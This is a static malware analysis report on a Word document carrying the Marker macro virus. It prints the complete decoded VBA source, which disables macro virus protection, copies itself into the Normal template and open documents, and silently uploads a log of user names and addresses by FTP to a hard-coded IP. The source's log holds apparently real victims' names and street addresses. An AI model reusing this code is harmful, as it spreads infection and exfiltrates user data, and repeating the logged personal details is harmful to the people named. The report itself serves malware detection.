Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b53bda9d5ed91ee5…

MALICIOUS

Office (OLE)

45.5 KB Created: 2008-03-06 22:08:00 Authoring application: Microsoft Word 10.0 First seen: 2015-06-23
MD5: 819cd64bd0d885e88b4caf50cf38bf04 SHA-1: c66a58ba354798789fd3a0d11f9b5060e7a75bba SHA-256: b53bda9d5ed91ee5e2f5f38fc6cc2bea9f4692ca75beff04267c9f95ec442e5e
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate or Obfuscate Malicious Files or Information T1027 Obfuscated Files or Information

The sample contains VBA macros that disable macro security settings and attempt to download a second-stage payload. The macro code explicitly disables 'VirusProtection' and writes a file to 'c:\hsf*.sys' which is then uploaded via FTP to '209.201.88.110'. The document body presents a quiz about Judaism to lure the user into enabling macros.

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    'Switch the VirusProtection OFF
    Options.VirusProtection = False

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5927 bytes
SHA-256: 915f44dca9061030b5a99c9ab3ec5d301e0364401b978bd8c8895441d1b6a060
Detection
ClamAV: Doc.Trojan.Marker-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For I = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next I
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For I = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, I, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, I, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, I, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next I

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'



' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'



' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'



' 11:16:41 AM - Wednesday, 23 Dec 1998
' BCBSA
'



' 01:30:35 PM - Wednesday, 30 Dec 1998
' BCBSA
'



' 01:36:45 PM - Monday, 4 Jan 1999
' Sue Rosinski
'



' 03:03:59 PM - Tuesday, 5 Jan 1999
' BCBSA
'



' 07:47:25 AM - Monday, 18 Jan 1999
' SC Group Inc.
'



' 10:30:59 AM - Wednesday, 20 Jan 1999
' David Novick
' David T. Novick, Esq.
' 1838 N. Halsted
' Chicago, IL 60614



' 11:07:20 AM - Tuesday, 26 Jan 1999
' SCGroup
' C. Robert Heaton
' 7 West County Line Road
' Barrington, IL  60010



' 02:05:44 PM - Monday, 1 Feb 1999
' Right Management Consultants
' R. Noble
' 909 Dolores Street
' San Francisco, CA  94110



' 04:02:55 PM - Friday, 5 Feb 1999
' Pat Smith
'



' 01:14:33 PM - Monday, 15 Feb 1999
' Kinko's
' 43734 Palisades Drive
' Canton MI  48187



' 07:45:50 AM - Tuesday, 16 Feb 1999
' Kinko's
'



' 10:53:40  - mercredi, 17 févr 1999
' Russell R. Bush
'



' 12:09:54 PM - Tuesday, 20 Apr 1999
' Edwin Tonkin
'



' 06:02:56 PM - Wednesday, 21 Apr 1999
' Articulation
'



' 11:32:47 PM - Tuesday, 4 May 1999
' Shiri Li-Ron
'



' 10:13:11 AM - Thursday, 20 May 1999
' Kinko's
'



' 01:58:27 PM - Wednesday, 6 Oct 1999
' Sandi
'



' 04:18:07 PM - Saturday, 13 Nov 1999
' Sandi
'



' 01:29:32 PM - Wednesday, 17 Nov 1999
' Sandi
'



' 11:38:59 AM - Thursday, 18 Nov 1999
' 166
'



' 10:01:01 AM - Thursday, 17 Feb 2000
' 166
'



' 01:40:23 PM - Tuesday, 22 Feb 2000
' 166
'



' 09:07:54 AM - Thursday, 1 Jun 2000
' P5 233MMX
'



' 02:52:10 PM - Tuesday, 6 Jun 2000
' b40jr
'



' 08:35:01 AM - Tuesday, 7 Nov 2000
' Jackie Ghio
'



' 03:37:13 AM - Thursday, 7 Jan 1904
' Computer Wrangler
'


' 09:01:58 AM - Wednesday, 15 Sep 2004
' Computer Wrangler
' Mission Hill Middle School
'



' 02:01:44 PM - Wednesday, 4 May 2005
' d j
' {=\=}
'


' 09:34:08 PM - Wednesday, 13 Dec 2006
' Susana Herrera
'


' 06:05:28 PM - Friday, 16 Jan 1970
' kayla beckert
'